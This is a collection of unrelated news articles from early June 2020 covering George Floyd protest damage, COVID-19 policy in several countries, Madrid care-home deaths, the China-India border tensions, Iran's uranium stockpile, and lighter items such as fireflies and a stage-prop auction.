You can listen to the latest episode of Today in Pa at this link, or on your favorite app including Alexa, Apple, Google, Spotify and Stitcher. Episodes are available every weekday on PennLive. Subscribe/follow and rate the podcast via your favorite app.

Today in Pa. Daily Podcast | June 5, 2020

Governor Wolf joins protests sparked by the death of George Floyd. Meanwhile, public schools can reopen as early as July 1 and at least 50 ATMs have been the targets of explosions in Philadelphia. The state continues to ease up coronavirus restrictions, with dentists now being allowed to conduct routine cleanings once again.

Those are the stories we cover in the latest episode of Today in Pa, a daily weekday podcast from PennLive.com and hosted by Julia Hatmaker. Today in Pa is dedicated to sharing the most important and interesting stories in the state.

Todays episode refers to the following articles:

If you enjoy Today in Pa, consider leaving us a review on Apple Podcasts or on Amazon. Reviews help others find the show and, besides, we like to know what you think of the program.

Thanks for visiting PennLive. Quality local journalism has never been more important. We need your support. Not a subscriber yet? Please consider supporting our work.
Chinas insects and other invertebrates are spoilt for choice with the countrys array of deserts, rainforests, mountains and tropical coastlines. The winning photographs of the Wild China Biodiversity Photography Contest hosted by Wild China Film present the countrys sweeping lands and rare plants from unexpected perspectives. Here is a pick of the crop

Jan 21, 2022 06:20 PM
The charred wreckage of a beauty supply store destroyed during last week's rioting, in Minneapolis, Minn., on June 3, 2020. (Kerem Yucel/AFP/Getty Images)

Minneapolis Unrest Brings $55 Million In Property Damage

Officials in Minneapolis said property damage due to looting and vandalism that followed protests over the death of George Floyd has caused at least $55 million in destruction.

Around 220 buildings were damaged or set ablaze in the city where Floyd died in police custody on Memorial Day, according to officials cited by local news outlet CBSN Minnesota who believe the tally of property destruction is likely to rise.

Minneapolis Mayor Jacob Frey is expected to ask for state and federal aid to help repair the city after the wave of civil unrest, which has abated in recent days as the National Guard was brought in to support local law enforcement.

Were going to need a really big package, Frey said during a tour of the wreckage, the New York Post reported.

Local lawmakers reviewed the damage firsthand Thursday in tours of the hardest-hit areas in Minneapolis and St. Paul.

We definitely need all the help we can get from the state, St. Paul Mayor Melvin Carter told Fox9 in an interview during the tour. We havent quantified [the damage] yet. Im hopeful well have specific numbers very soon. But one thing thats clear at the beginning is, its going to be staggering.

Ahead of any potential aid package, local community members and organizations are looking to support damaged neighborhoods. According to a donation page headlined by the West Broadway Business and Area Coalition and the Northside Funders Group, a campaign to support Minnesota businesses damaged in the looting has already raised over $1.4 million.

Theresa Swaney of the Lake Street Council, a local nonprofit engaged in fundraising, told ABC News that around $4.5 million has been raised to rebuild the historic Lake Street area of Minneapolis.

Swaney said many of the businesses were already struggling due to the pandemic, and the riots exacerbated their pain.

Id say its more than a double hit, a triple, quadruple, hit, she told ABC, adding that the looting and fires have affected every single Lake Street business in one way or another.

A lot of them cant even reopen now because theyve been looted; they have no inventory, they have no shelves, she added. Its going to take a lot for them to reopen and be able to serve their communities.

The Lake Street area is known for its large Latino and Somali American population, with Swaney saying that many of the businesses along the 6-mile strip are either owned by immigrants or people of color.

Another hard-hit area by looting and vandalism is a 1-mile path of University Avenue in St. Pauls Midway area, the Minneapolis Star-Tribune reported.

The Minneapolis Police Department issued a warning about possible dangerous objects left behind by looters and vandals.

The Police Department is asking residents to check their property for harmful objects that may have been left by uninvited people. Propane tanks, bottles filled with gasoline and other substances have been reported, although field staff are not seeing much of it, the police deparment stated on June 3.

Minneapolis city officials have separately urged people not to enter damaged buildings.

This is very dangerous. The City is blocking sidewalks to keep people away from damaged buildings and working with property owners to secure their properties and get emergency demolitions started as fast as possible, the City of Minneapolis said in a statement.

Prosecutors this week upgraded charges against the former Minneapolis Police Department officer, Derek Chauvin, to second-degree murder and charged three other officers with aiding and abetting in the case of Floyds death, the fallout from which has rocked the nation with protests, some of which have turned violent.
The World Customs Organization (WCO) looks forward to joining the international community every year on 5 June to celebrate World Environment Day. This is an important day that serves as a reminder of the need to continue raising awareness of environmental issues, particularly on why preserving the environment is essential to human sustainability, and to reiterate our commitment to protecting our home - the Earth.

The WCO again stands in solidarity with its partners, especially the United Nations Environment Programme (UNEP) and the Secretariat of the Convention on International Trade in Endangered Species of Wild Fauna and Flora (CITES), in supporting efforts to ensure environmental sustainability.

The World Environment Day theme for 2020 is biodiversity, and efforts are being rallied under the call Its time for Nature. Biodiversity encompasses the huge variety of life on Earth, including its estimated 8 million species and all their genetic diversity  plants, animals, insects, even fungi and bacteria  as well as their ecosystems.

Today, biodiversity faces a serious threat. Over the last 50 years, world population has doubled, the global economy has almost quadrupled, and international trade has increased tenfold. According to the World Wildlife Fund (WWF), it would take 1.6 planet Earths to meet humanitys current demands on nature each year. It is within this context that World Environment Day 2020 calls for urgent action to protect biodiversity.

In response, the WCO has dedicated 2020 to Customs contribution towards a sustainable future where social, economic, health, and environmental needs are at the heart of its actions. The WCO theme carries the slogan Customs fostering Sustainability for People, Prosperity and the Planet, inviting all WCO Members to intensify their efforts to thwart criminal endeavours and protect people and the planet.

By systematically disrupting environmental criminal networks, Customs contributes to preserving biodiversity, said WCO Secretary General Dr. Kunio Mikuriya. Indeed, Customs is the first point of entry and the last point of exit, making it a critical player in law enforcement efforts to combat environmental crimes, he added.

The WCO is continually supporting its Members and its network of Regional Intelligence Liaison Offices (RILOs) in their enforcement efforts by delivering trainings, regularly updating its training materials, and ensuring that Customs stay alert to any events that could have a negative impact on the environment.

Through its Environment Programme, the WCO supports and guides its Members in tackling all forms of trade-related environmental crimes, including the illegal wildlife and timber trade, illicit shipments of waste and chemicals, as well as illegal, unreported and unregulated fishing. Given its responsibility for tackling such a wide range of issues, Customs efforts to secure global supply chains will continue to be strengthened.
ANKARA, Turkey - Turkish President Recep Tayyip Erdogan on Friday cancelled a decision to impose a new, two-day weekend curfew in 15 of the countrys provinces that took many by surprise.

Erdogan said on Twitter that he was reversing the decision on grounds that it would have diverse social and economic consequences.

He did not elaborate but the surprise decision to renew a weekend stay-at-home order, announced earlier on Friday, had caused confusion, with many people scrambling to cancel train or air tickets or other weekend travel plans.

Erdogan said: I did not find it in my heart to allow our citizens who started to re-organize their daily lives after a 2.5-month break, to suffer.

He did, however, urge people to wear masks, abide by social distancing practices and maintain high levels of hygiene.

The Interior Ministry had announced the stay-at-home order in 15 provinces including Istanbul and Ankara even as the country lifted a raft of restrictions earlier in the week. Domestic air travel resumed, restaurants began welcoming sit-in customers and beaches, swimming pools, parks, gyms and museums reopened amid a slowdown in the virus spread.

Alpay Azap, a member of Turkeys scientific advisory body, said the new weekend curfew was announced because of an uptick in coronavirus cases in the southeastern cities of Gaziantep and Diyarbakir as well as some places on the Black Sea coast. He also said that the caseload in Ankara has not decreased.

Fearing possible negative effects on the already troubled economy, the country has been imposing short weekend and holiday curfews, instead of total lockdowns.

It has also banned people above the age of 65 and minors from leaving home apart from certain days of the week. Those restrictions remain in place.

Turkey plans to resume international flights with 40 countries in June, starting on June 10 with flights to and from Bahrain, Bulgaria, Qatar, Greece and the self-declared state in the north of Cyprus that is only recognized by Turkey.

On Friday, Health Minister Fahrettin Koca reported the countrys lowest day-to-day increase in the number of COVID-19 fatalities since late March. According to data he posted on Twitter, there were 18 new deaths in 24 hours, bringing the total in the nation to 4,648.

The number of daily confirmed cases remained under the 1,000 mark, despite an increase in the number of tests conducted, the data showed. The total of known coronavirus infections now stands at 168,340.
RTHK: France to transform surplus wine into hand sanitiser

French winemakers will transform wine that went unsold during the country's two-month coronavirus lockdown into hand sanitiser and ethanol to make room for the next harvest, a farming agency said on Thursday.

Wine sales and exports, particularly to the US, plunged at the height of the coronavirus crisis, leaving winemakers with millions of litres of unsold wine.

"From tomorrow, 33 licensed distillers will be able to collect the wine and distil it," said Didier Josso, head of the wine branch in the farming agency FranceAgriMer, at a video press conference.

The alcohol resulting from the distillation is exclusively reserved for the pharmaceutical and cosmetics industry and the production of hand sanitiser, and for the production of ethanol.

"The distilled wine in no case is to be used to make spirits," said Josso.

"There will probably be a need to stock ethanol as well, but the volumes will be less significant than for wine," he added.

Each winemaker has up until June 19 to indicate the amount he or she wishes to distil.

In return they will receive 78 euros in compensation if the wine is certified as belonging to a region and 58 euros if not.

European public funds will finance the distillation of two million hectolitres of French wine after Brussels gave its green light for the exceptional measure.

Experts said three million hectolitres were in need of distilling.

Major wine-producing countries such as Spain and Italy have resorted to similar measures to regulate the excess, as well as to the exceptional destruction of young grape vines.

The coronavirus pandemic has added to the woes of the French wine industry, which had already suffered a setback last year with a drop in exports to the US as punitive tariffs kicked in. (AFP)

This story has been published on: 2020-06-05. To contact the author, please use the contact details within the article.
Fireflies, or lightning bugs, have been spotted in some backyards across Pennsylvania, but the real show will begin in the next couple weeks.

In Pennsylvania the first fireflies usually are seen in late May, according to Firefly Watch, a national monitoring effort focused on the insects managed by Massachusetts Audubon. The peak of their flight comes in mid-June through July. And, good numbers generally are seen through August.

This should be a good year for firefly watching after a spring of above average rainfall.

But where the flashing insects will be spotted depends largely on land use. Paved surfaces are not prime habitat for fireflies, nor are properties that have been drenched in pesticides and herbicides.

Lawn and agricultural chemicals, as well as the national boom in developed surfaces, has led to widespread, long-term declines in fireflies.

The firefly spends most of its life in the soil, from egg through predatory, wormlike larvae through the cocooned pupa. Only the adult stage lives much aboveground and in the air, and then only for a few weeks.

Weather will play a significant role in how active the adult fireflies will be after they emerge. Warmer, more humid nights will see much more activity, as well as more frequent flashes.

When evening temperatures dip below 60 degrees, firefly activity drops off noticeably. Like other insects, fireflies are cold-blooded. They rely on heat from their environment to perform much of their activity.

Fireflies produce their glow through an internal chemical reaction known as bioluminescence. They carry the chemical luciferin in their abdomens. When luciferin mixes with oxygen and the enzyme luciferase, a chemical reaction occurs that lights up their abdomen.

A fireflys light is cold and does not lose much energy as heat. Thats important, because if a fireflys glowing abdomen heated, like a burning lightbulb, the insect would not live through its own flashing.

There are more than 2,000 species of fireflies worldwide, including a couple dozen species in Pennsylvania. The species range from 0.2 to an inch in length. Not all species can generate light.

One species found in Pennsylvania that has gained much attention in the past decade is the synchronous firefly (Photinus carolinus) in Allegheny National Forest.

The synchronous fireflies, which flash in synchrony with one another, have become the focus of an annual Pennsylvania Firefly Festival in late June at the Black Caddis Ranch B&B near Tionesta.

Because of coronavirus restrictions this year, the eighth annual festival will be a Virtual Stay-At-Home Pennsylvania Firefly Festival on Saturday, June 27.

Some of the firefly experts and artists scheduled for the festival will participate virtually by submitting photos, videos and slideshow presentations that will be presented on the festivals website, YouTube channel, Instagram and Facebook pages.

The pandemic wont prevent the festivals summer research in Kellettville, Forest County and throughout western Pennsylvania. Summer research intern Valerie Kuppek, a senior biology student at Dickinson College,

She will monitor local fireflies and help to produce a Virtual Firefly Walk once the synchronous firefly season begins. Festival organizers hope to stream or post the videos online.

They also plan to offer limited, in-person firefly viewing programs in June and July. The programs, which will follow CDC guidelines for safety with 25 participants or less to minimize health risks and environmental impacts, on June 10, 13, 20, 24 and 27 and July 4.

For more information, visit the Pennsylvania Firefly Festival website.

Thanks for visiting PennLive. Quality local journalism has never been more important. We need your support. Not a subscriber yet? Please consider supporting our work.

Contact Marcus Schneck at mschneck@pennlive.com.
Lawyers leading the "robo-debt" class action say they will take the government to court again if the repayment of $721 million of debt to welfare recipients isn't sped up.

Gordon Legal is pursuing a class-action lawsuit over the unlawful scheme that racked up debts against at least 600,000 Australians who were told they had been overpaid for their Centrelink benefits.

Peter Gordon's firm is leading a class action against the government on behalf of people affected by robo-debt. Credit:Justin McManus

Government Services Minister Stuart Robert announced last Friday that the government would refund 373,000 people for 470,000 debts over the course of the year for a scheme he now admits was flawed.

Services Australia general manager Hank Jongen told The Age and The Sydney Morning Herald refunds would begin next month until the end of the next financial year, but most should be processed by November.
Variety Editor Claudia Eller speaks onstage at Carnegie Hall on Feb. 29 in New York. (Bryan Bedder/Getty Images )

Variety Editor in Chief Claudia Eller was placed on administrative leave late Thursday, less than 24 hours after a heated Twitter exchange over the lack of newsroom diversity.

The dust-up came late Wednesday after Variety published an opinion column written by Eller, in which she acknowledged that she and other editors in chief have not done enough to increase diversity in their newsrooms.

Nationwide protests since the killing of George Floyd in Minneapolis, and calls for social justice, have forced news organizations to face their own shortcomings in ensuring that their newsrooms represent the communities they cover.

In response to Eller's column, a former reporter at a rival outlet, Piya Sinha-Roy, criticized the piece on Twitter. Sinha-Roy wrote, in a Twitter message, that she recalled a discussion with Eller and then co-editor Andrew Wallenstein several years ago about "the lack of diversity in your newsroom." Sinha-Roy then added that voices of people of color "are constantly dismissed. We are not here to make you look better. We are here to work."

Eller then lashed out at Sinha-Roy on Twitter, calling her "bitter."

The tweet upset Variety staff members and prompted much soul-searching at the news organization. Variety is owned by Penske Media Corp., controlled by auto scion Jay Penske, who also owns Rolling Stone magazine, Women's Wear Daily and the Hollywood trade website Deadline.

Penske called Eller's tweet "plainly unacceptable."

"She should have been listening vs. putting up a fight, and allowing for others to be heard and to heal," Penske said.

Penske's note to the staff added that Business Editor Cynthia Littleton is stepping in as editor in chief on an interim basis.

Eller declined to comment, other than to say she recognized that she was in the wrong and was "really broken up." In a memo that she sent to her staff, published in Variety late Thursday, Eller apologized for her remarks and called them "insensitive and ignorant."

Story continues

"I am so ashamed, humiliated and regretful for my actions and the pain it has caused both internally and externally," Eller wrote in the memo, noting that she sent the tweet "in a moment when what I should have been doing was listening."

Eller joined Variety as its editor in chief in 2013, after two decades at the Los Angeles Times as a business reporter covering the film industry.

She will be on administrative leave for up to two months.

"After a very tough and emotional conversation with Jay this afternoon, I am recognizing that my many years as a journalist did not necessarily prepare me for a leadership role in such a large and thriving newsroom," Eller wrote. "Looking back, hard work and competition were two of my main tools to get ahead in my career. The success I found in my hard-charging style as a journalist, I now realize, can come across as autocratic when Im managing others."




B ritish Airways chief Willie Walsh has said the company is considering to sue the government over its quarantine measures and is reviewing the situation with lawyers.

The government has introduced a 14 day quarantine for those entering the country, which could severeley dampen hopes that the airline can get back up and running in July.

Walsh told Ian King on Sky News: "I wrote to MPs last night to say the measures have torpedoed our opportunity to get flying in July. We think it is irrational, disproportionate and we are giving consideration to a legal challenge to this legislation. We are reviewing that with the lawyers later on today.

"I suspect there are other airlines that are doing so because there was no consultation with the industry prior to enacting this legislation and we do believe it is an irrational piece of legislation."

British Airways and its parent owner IAG have been at loggerheads with the government over the past couple of days.

Yesterday BA was criticised by Unite general secretary Len McCluskey after the company failed to join a meeting between the Home Secretary and the travel industry to discuss the UKs coronavirus quarantine plans.

McCluskey said the airlines workers, passengers and shareholders deserved to know why the airlines management did not attend the roundtable meeting with Priti Patel on Thursday.

In April, BA announced it planned to reduce its workforce by more than a quarter as it does not expect demand for air travel to return to 2019 levels before 2023.

It has already furloughed around 23,000 staff under the Governments Job Retention Scheme, which pays 80 per cent of wages up to 2,500 a month.

It is understood that the Home Office received no reply from British Airways after being invited to the meeting, which was attended by several of its airline competitors, including Virgin Atlantic, easyJet and Jet2.

A spokeswoman for the airline confirmed neither BA nor IAG were at the meeting.
The city of Midland Health Department is currently conducting its investigation on five new confirmed cases of COVID-19 in Midland County, bringing the overall case count to 146. With these five cases, 17 have been confirmed since Monday, according to information from the city.

For the 145th and 146th confirmed cases, source of exposure was travel to New Braunfels. The patients  both females in their 30s -- were tested by private provider and are isolating at home. One of the women is an employee at Midland Health and last worked on Wednesday. Employee Health is following up and monitoring employees with known contact. No patients were exposed, according to a press release from the city.
Internal emails from the Madrid regional government reveal that there were concerns about the legality of refusing to admit care home patients to hospitals right from the beginning of the coronavirus pandemic.

Madrid has been the epicenter of the coronavirus outbreak in Spain, and care homes in the region have been hit especially hard by the virus. According to figures from the Madrid regional government, 6,007 care home residents died between March 8 and June 2 from Covid-19 or associated symptoms. This figure includes all centers run by social services for the elderly, people with disabilities and those suffering from mental illness.

The emails, seen by EL PAIS, show that a top regional official tried to warn colleagues in the Madrid government that denying hospital treatment to care home residents could result in serious legal consequences. The documents also point to the internal differences within the Madrid executive, which is run by the Popular Party (PP) and Ciudadanos (Citizens).

People with serious disabilities but with a good life expectancy could be refused, and we would be committing an act of discrimination with serious legal consequences Alberto Reyero, head of social policy in Madrid

On Sunday, March 22, a week after the Spanish government declared a state of alarm, the Madrid regions head of social policy, Ciudadanos politician Alberto Reyero, sent two emails to the regional health chief, Enrique Ruiz Escudero of the PP, expressing his concern over a hospital selection protocol Escuderos department had issued.

This protocol advised the 22 regional hospitals to refuse admission to one of the largest groups of care residents: senior citizens with grade three dependence, who require ongoing or continuous support. The document also recommended that hospitals turn away patients with disabilities who were living in special homes. From Tuesday of that week, news of bodies being left in nursing homes and ambulances refusing to help senior patients had filled the headlines.

Reyero warned Ruiz Escudero that the hospital protocol would lead to many residents dying in undignified conditions. If we apply this to people with disabilities, the situation has an even more serious component. In this case, people with serious disabilities but with good life expectancy [...] could be refused [by hospitals] under this referral system and we would be committing an act of discrimination with serious legal consequences. Please, keep this in mind, Reyero added.

The head of social policy department, Alberto Reyero, in the Madrid assembly on Thursday. Mariscal (EL PAIS)

In the end, the regional health chief was forced to backtrack on the decision to exclude people with disabilities, regardless of their age, after the protocol was leaked to the media and associations demanded it be changed. The final version of this document, which was completed on March 25, excluded patients with advanced dementia, grade three dependents, and people suffering from a terminal illness.

When Escudero did not reply to Reyeros email or phone calls, the Ciudadanos politicians sent another message later that Sunday. As we are having problems in talking, here are some of the issues that are worrying me, Reyero wrote, explaining that the situation was complicated and that care homes were not up to the task of saving lives. Reyero proposed alternatives such as medicalizing residences or transferring seniors to medicalized hotels.

According to sources from the social policy department, Reyero did not receive a reply to either of his emails. A spokesperson from the regional health department confirmed that Escudero received the emails, but did not provide information about their content.

Regional health chief Enrique Ruiz Escudero. Pool (Europa Press)

Reyeros department is in charge of care homes and other issues concerning vulnerable people in Madrid. But Reyero has continually been sidelined by the regional government during the coronavirus crisis, with his calls for more support going largely ignored. On Monday, he told the Madrid assembly that it is not ethical and possibly not legal to leave senior residents without medical attention.

Around mid-April, as the crisis eased, hospitals began to admit senior care home residents again. According to a spokesperson from the health department, 9,632 residents have been transferred to hospital during the crisis as of June 1. Although the situation has improved over the last few weeks, care homes in Madrid remain unprepared for a new outbreak, according to several sources from the sector, who say that these centers have not received the promised medical reinforcements.

Legal cases

In response to the criticism over the hospital selection protocol, Madrid premier Isabel Diaz Ayuso of the PP said on Tuesday that the document was a draft that was not sent anywhere. Residence staff have always acted with absolute transparency and always in adherence to clinical criteria, she said. Several sources, however, including a regional spokesperson, say the document was sent to residences and geriatric groups, which decided on a case-by-case basis which patients to refer to hospital.

The Madrid public prosecutor is set to investigate dozens of residences in Madrid and several courts have received collective lawsuits filed against Diaz Ayuso, Escudero and justice chief Enrique Lopez for involuntary manslaughter, degrading treatment and failure to provide assistance.

Marta Maria Alberto, a professor of bioethics at King Juan Carlos University, told EL PAIS that referral protocols should be based on equity, with those with greatest need receiving medical attention.

In bioethics, we all know that medical resources are limited and sometimes difficult decisions have to be made, but that cannot justify a criteria that rules our certain people on the basis that they have a lower life expectancy, she said.

English version by Melissa Kitson.
Source: Xinhua| 2020-06-06 00:27:35|Editor: huaxia

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BELGRADE, June 5 (Xinhua) -- China and Serbia on Friday signed a memorandum on space technology which aims, among other things, to put the Serbian national flag on co-designed spacecraft in the future.

The memorandum was signed by Zhang Kejian, director of the China National Space Administration, and Nenad Popovic, Serbian minister in charge of innovation and technological development, via a video conference.

Zhang said the memorandum is in the common interests of both countries, adding that as many scientists as possible will engage in joint space projects.

"Our goal is to put the flag of Serbia on the spacecraft that we will jointly design," he announced.

Popovic noted that the space partnership will have an immense value for Serbia, saying it will help realize the country's strategic national projects.

Popovic said Chinese partners are willing to share their knowledge and experience in space technology with Serbia.

"We deeply respect the friendship between our two countries, and we wish for the document signed today to bond China and Serbia in friendship and economic development permanently," he said. "I am sure that our upcoming projects will pave the way for our joint vision."

According to the Serbian government, the document will envisage the "improvement of bilateral cooperation between Serbia and China in the development and use of space technology, satellite systems and the Earth Observing System, with applications in the field of smart agriculture, telecommunications, ecosystems, remote sensing systems and geolocation positioning." Enditem
US State Department inspector general fired while probing Saudi arms sales

Iran Press TV

Thursday, 04 June 2020 7:47 AM

An inspector general at the US State Department who was fired last month has confirmed that he was probing the declaration of an "emergency" to justify the controversial sales of 8 billion dollars' worth of weapons to Saudi Arabia when he was abruptly relieved of his duties.

Steve Linick, the former head of the Office of the Inspector General of the Department of State, made the revelation during a seven-hour-long testimony heard behind closed doors at US Congress on Wednesday, Democratic lawmakers said.

During the remotely-conducted testimony, which was held by the House Foreign Affairs and Oversight and Reform Committees and Senate Foreign Relations Committee, Linick specifically mentioned Under Secretary of State for Management Brian Bulatao, one of Pompeo's closest aides, who he said "bullied" the inspector general on several occasions in an attempt to derail the investigation.

"Mr. Linick testified that Mr. Bulatao pressured him to act in ways that Mr. Linick felt were inappropriate  including Bulatao telling Linick that the investigation into weapons sales to Saudi Arabia was not a matter for the IG to investigate," the Democratic lawmakers said in their statement following Linick's testimony.

On May 24, 2019, Pompeo told Congress  which was opposed to the weapons sales to Saudi Arabia  that an "emergency" existed and that the State Department would use "emergency" powers to proceed with at least 20 stalled arms deals with Saudi Arabia worth 8 billion dollars, bypassing Congress.

CNN had earlier reported that sources at the State Department believed the declaration of the emergency had been unwarranted.

In objecting to the sales, Congress had been citing the atrocities committed by the Saudi-led coalition in the war on Yemen.

The brutal war started in March 2015 in an attempt to subdue a popular uprising in Yemen that had unseated a regime friendly to Riyadh. It has so far claimed the lives of more than 100,000 people, according to the US-based Armed Conflict Location and Event Data Project (ACLED).

Linick, the former inspector general at the State Department, also confirmed that he was simultaneously investigating allegations that Pompeo and his wife misused State Department funds through using a taxpayer-funded employee to run their personal errands.

Trump fired Linick on May 15, after Pompeo asked the US president to do so, making him the fourth government watchdog to have been dismissed in recent months.

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Labour MP Tanmanjeet Singh Dhesi has reiterated the demand in sections of the Sikh community and others for a public inquiry into the Margaret Thatcher governments role in the 1984 Operation Bluestar, which emerged in documents declassified in 2014.

Raising the issue in the House of Commons on Thursday, Dhesi, who is the first turban-wearing Sikh MP in the British parliament, asked leader of the house, Jacob Rees-Mogg, to include a debate on the issue in the house business.

It was revealed in a declassified note in 2014 that SAS, Britains elite special forces, had advised former Prime Minister Indira Gandhi on flushing out Sikh extremists from the Golden Temple, three months before the operation was launched in June 1984.

The then David Cameron government ordered an inquiry following an uproar. It concluded that Britains involvement was purely advisory and was fundamentally different from that carried out by Indian security forces. UK-based groups have since demanded a public inquiry.

Dhesi told MPs: This week marks 36 years since the then Indian Prime Minister, Indira Gandhi, ordered her abhorrent attack on the most revered Sikh shrine, the Golden Temple complex in Amritsar. It eventually led, under a media blackout, to the destruction of historic structures, the genocide of the Sikhs and the burning of the Sikh reference library. That is why Sikhs can never forget 1984.

I am sure the Leader of the House will agree with me that it is atrocious that many still struggle for justice. Perhaps he can explain to me why, despite recent revelations and given the huge demand from within the British Sikh community and the support of the Labour party and other Opposition parties, an independent inquiry to establish the extent of the Thatcher Governments involvement in the attack has still not been held? May we have a debate on that, he asked.

Rees-Mogg responded: It is an important anniversary to remember. The question the hon. Gentleman raises is one he could raise in an Adjournment debate, but I have every confidence that Margaret Thatcher, one of the greatest leaders this country has ever had, would always have behaved properly.

Labour committed itself to holding the public inquiry in its 2019 election manifesto, if elected to power, besides tendering an apology for the 1919 Jallianwala Bagh massacre.

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Chitty Chitty Bang Bang  the flying car  will go up for auction on Father's Day, June 21.

The massive vehicle will be part of a major sale of props from the 2015-17 UK/Ireland touring production of the similarly titled musical, which will go under the hammer at Hansons Auctioneers. The company points out that there are very few models of Chitty that exist in the world, so this is a unique opportunity for collectors of theatrical memorabilia.

Chitty cost 175,000 pounds to build, and the starting bid is 3,000 pounds. Other items up for auction are the Child Catcher's Bike, Baron Bomburst's car, Truly Scrumptious's motorcycle, and various props, including several inventions made by Caractacus Potts.

Click here for more information.
In this satellite image provided by Planet Labs, the Ngari GAnsa civil-military airport base taken on May 17, 2020, near the border with India in far western region of Tibet in China shows development around the airport. Tensions along the China-India border high in the Himalayas have flared again in recent weeks. Indian officials say the latest row began in early May, when Chinese soldiers entered the Indian-controlled territory of Ladakh at three different points, erecting tents and guard posts. China has sought to downplay the confrontation while providing little information. (AP)

Public understanding of security-related issues with Pakistan is far better than those related to China because the former are geographically better imprinted in the Indian public mind. China is much more complex, and Indias relationship has a lot to do with coexistence with a neighbour who the entire world is attempting to demystify. The puzzle that is China befuddles with its deep civilisational complexity providing little clarity on its intent, especially in suddenly triggered border standoffs. With the ongoing events in Ladakh, the PLA-Indian Army talks are shortly to take place at the traditional meeting spot of the two militaries near Chushul. These are significant as Ladakh has become a far more important ground for contest than all the other areas under dispute. So, what are those boxes that one should tick off in the mind to put this entire China-initiated drama into perspective for a simpler understanding about recent events, from the strategic to the tactical.

China has long been uncomfortable with Indias yet unrealised potential. It senses that the gap between the two nations will close at some stage. Its own rise is not uncontested, and it fears the feasibility of Indias pragmatic cooperation with Chinas detractors to put limits on the latters rise. Thus, while fully appreciating the need for economic cooperation with India for its own benefit, the fear of Indias strategic potential dictates the need to slow it down and deter it from both individual and collaborative ambitions. The essence of the Chinese strategy is to develop the existing border dispute in the high Himalayas into an opportunity for military coercion. It thus favours non-resolution and perpetuation of the dispute. This helps in diverting the worlds attention away from its true vulnerability -- which lies in the maritime zone. Besides this basic strategy, China desires to limit Indias options and psychologically disallow it to ever go the full way to either achieve its own geopolitical aspirations or cooperate with others. Towards that end Chinas limited border-related military adventurism is always supported by massive doses of information warfare, which is usually played out professionally in keeping with its developed doctrines.

Why 2020 and why Ladakh, with Sikkim as a sideshow? Geopolitically, the coronavirus pandemic has created a flutter and recreated other pressure points for China -- Hong Kong, Taiwan and the WHO deliberations being the main ones. The sudden show of boldness by nations such as Australia doesnt add to its confidence. The pandemic, more than just its fallout on Chinas image, has probably triggered the need to strongly message the world that China will adopt all options to safeguard its interests; no better way to communicate than through coercive action against a large and strong neighbour, the security relationship with which lies in the grey zone. Doklam 2017 was perhaps an accident, although many analysts had us believe that the short hop to the Siliguri Corridor from the Chumbi Valley was the threat China wished to play up. I believed that China was hedging its bets as the Indian operational potential in East Sikkim is at an unappreciated high level. Ladakh 2020 attracts far greater geostrategic value. Importantly, it is in Ladakh that the so-called collusive strategy with Pakistan works optimally. Here three fronts exist for India -- Eastern Ladakh, the Karakoram-Siachen tract and Kargil. It is the second one which is least understood, and yet its potential is the highest.

The Karakoram-Siachen tract, which lies to the northwest of the Ladakh range, is a geographically separated segment with the Shyok Valley as the dividing line. For India, it is strategically significant to maintain operational depth for the Indus Valley in which lies the capital, Leh. If the Karakoram-Siachen tract, with Siachen and Daulat Beg Oldi (DBO) as the two main landmarks, were to fall to China in collusion with Pakistan, it would spell a couple of advantages to that combine. First, it will broaden their geographical linkage. Second, it will offer potential for the development of another arm of the Karakoram Highway, a more stable one. Third, it will severely limit Indias military options to recover Gilgit-Baltistan, which remains an aspiration. This is so especially since August 5, 2019, when India abrogated Article 370 on Kashmir and reiterated its desire to recover all territories of the erstwhile J&K as per the 1994 joint resolution of Parliament. The holding of both Siachen and DBO is crucial for India to enable the defence of Ladakh. Pakistan, with its options seemingly running out on J&K, could well have projected to China the vulnerability of the China Pakistan Economic Corridor (CPEC), with Indian aspirations towards Gilgit-Baltistan being spelt out more often by Indias political and military leadership. The recent decision to go ahead with the $14 billion Daimer Bhasha dam in Gilgit-Baltistan increases Chinas stakes in the region, thus potentially acting as a dampener for Indian aspirations. This analogy may appear too ambitious and too premature for a Sino-Pakistan collusive strategy to have developed, but there is no denying that Pakistans continuous efforts to get India to agree to a mutual withdrawal from Siachen have been in progress for many years. Nothing would spell greater disaster than acceptance of that master deception. Its the larger understanding of the military community that has ensured the continued occupation of Siachen.

The ramping up of Indian capability in Ladakh through augmentation of equipment, vastly improved infrastructure and troop reserves is raising Chinas apprehensions, and thus the attempted coercion to create a psychological dampener before confidence levels go beyond the threshold. It will also help in some image recovery for the image of the PLA, partially compromised at Doklam. It will be helpful for the Indian Armys leadership to keep all this in mind. Most of this is at the strategic and operational level, although its the tactical which will be more under discussion at Chushul. What must be made starkly clear to the PLA is that tactical gamesmanship without a delineated LAC is likely to lead to a conflagration sooner than later. The dilution of troop deployment and early initiation of the process of the LACs delineation are issues that must be strongly advocated. We must not be forced into more static troop deployment. Until that happens, Ladakh is likely to be the persistent theatre of confrontation between India and China.
VIENNA  Iran has continued to increase its stockpiles of enriched uranium and remains in violation of its deal with world powers, the United Nations atomic watchdog said Friday.

The International Atomic Energy Agency reported the finding in a confidential document distributed to member countries and seen by The Associated Press.

The agency said that as of May 20, Irans total stockpile of low-enriched uranium amounted to 1,571.6 kilograms (1.73 tons), up from 1,020.9 kilograms (1.1 tons) on Feb. 19.

Iran signed the nuclear deal in 2015 with the United States, Germany, France, Britain, China and Russia. Known as the Joint Comprehensive Plan of Action, or JCPOA, it allows Iran only to keep a stockpile of 202.8 kilograms (447 pounds).

The IAEA reported that Iran has also been continuing to enrich uranium to a purity of up to 4.5%, higher than the 3.67% allowed under the JCPOA. It is also above the pacts limitations on heavy water.

The nuclear deal promised Iran economic incentives in return for the curbs on its nuclear program. President Donald Trump pulled the U.S. out of the deal unilaterally in 2018, saying it needed to be renegotiated. Iran has since slowly violated the restrictions to try and pressure the remaining nations to increase the incentives to offset new, economy-crippling U.S. sanctions.

The ultimate goal of the JCPOA is to prevent Iran from developing a nuclear bomb. Since the U.S. withdrawal, Iran has stockpiled enough uranium to produce a weapon, although the government in Tehran insists it has no such goal and that its atomic program is only for producing energy.

According to the Washington-based Arms Control Association, Iran would need roughly 1050 kilograms (1.16 tons) of low-enriched uranium  under 5% purity  and would then need to enrich it further to weapons-grade, or more than 90% purity, to make a nuclear weapon.

With the nuclear deal in place, Irans so-called breakout time  the period Tehran would need to build a bomb if it chose to  stood at around a year. As Iran has stepped away from the limits of the 2015 deal, it slowly has narrowed that window.

However, that doesnt mean Iran would immediately rush toward building a bomb if all the materials were in place.

